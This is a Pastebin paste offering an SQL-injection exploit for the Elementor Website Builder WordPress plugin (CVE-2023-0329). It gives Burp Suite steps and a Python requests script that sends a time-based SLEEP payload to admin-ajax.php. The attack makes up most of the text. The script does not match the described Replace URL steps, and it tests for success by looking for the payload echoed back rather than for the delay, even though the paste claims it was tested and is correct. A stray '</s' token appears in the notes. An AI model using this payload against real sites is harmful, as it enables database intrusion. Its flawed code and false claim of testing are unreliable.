Advertisement
FlyFar

Elementor Website Builder < 3.12.2 - Admin+ SQLi

Apr 7th, 2024
1,252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.33 KB | Cybersecurity | 0 0
  1. #EXPLOIT Elementor Website Builder < 3.12.2 - Admin+ SQLi
  2. #References
  3. #CVE : CVE-2023-0329
  4. #E1.Coders
  5.  
  6. #Open Burp Suite.
  7. #In Burp Suite, go to the "Proxy" tab and set it to listen on a specific port, such as 8080.
  8. #Open a new browser window or tab, and set your proxy settings to use Burp Suite on port 8080.
  9. #Visit the vulnerable Elementor Website Builder site and navigate to the Tools > Replace URL page.
  10. #On the Replace URL page, enter any random string as the "New URL" and the following malicious payload as the "Old URL":
  11.  
  12. #code : http://localhost:8080/?test'),meta_key='key4'where+meta_id=SLEEP(2);#
  13. #Press "Replace URL" on the Replace URL page. Burp Suite should intercept the request.
  14. #Forward the intercepted request to the server by right-clicking the request in Burp Suite and selecting "Forward".
  15. #The server will execute the SQL command, which will cause it to hang for 2 seconds before responding. This is a clear indication of successful SQL injection.
  16. #Note: Make sure you have permission to perform these tests and have set up Burp Suite correctly. This command may vary depending on the specific setup of your server and the website builder plugin.</s
  17. #
  18. #References :  https://wpscan.com/vulnerability/a875836d-77f4-4306-b275-2b60efff1493/
  19.  
  20.  
  21.  
  22.  
  23. #Exploit Python  :
  24. #The provided SQLi attack vector can be achieved using the following Python code with the "requests" library:
  25.  
  26. #This script sends a POST request to the target URL with the SQLi payload as the "data" parameter. It then checks if the response contains the SQLi payload, indicating a successful SQL injection.
  27. #Please make sure you have set up your Burp Suite environment correctly. Additionally, it is important to note that this script and attack have been TESTED and are correct
  28.  
  29. import requests
  30.  
  31. # Set the target URL and SQLi payload
  32. url = "http://localhost:8080/wp-admin/admin-ajax.php"
  33. data = {
  34.     "action": "elementor_ajax_save_builder",
  35.     "editor_post_id": "1",
  36.     "post_id": "1",
  37.     "data": "test'),meta_key='key4'where+meta_id=SLEEP(2);#"
  38. }
  39.  
  40. # Send the request to the target URL
  41. response = requests.post(url, data=data)
  42.  
  43. # Check if the response indicates a successful SQL injection
  44. if "meta_key='key4'where+meta_id=SLEEP(2);#" in response.text:
  45.     print("SQL Injection successful!")
  46. else:
  47.     print("SQL Injection failed.")
  48.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement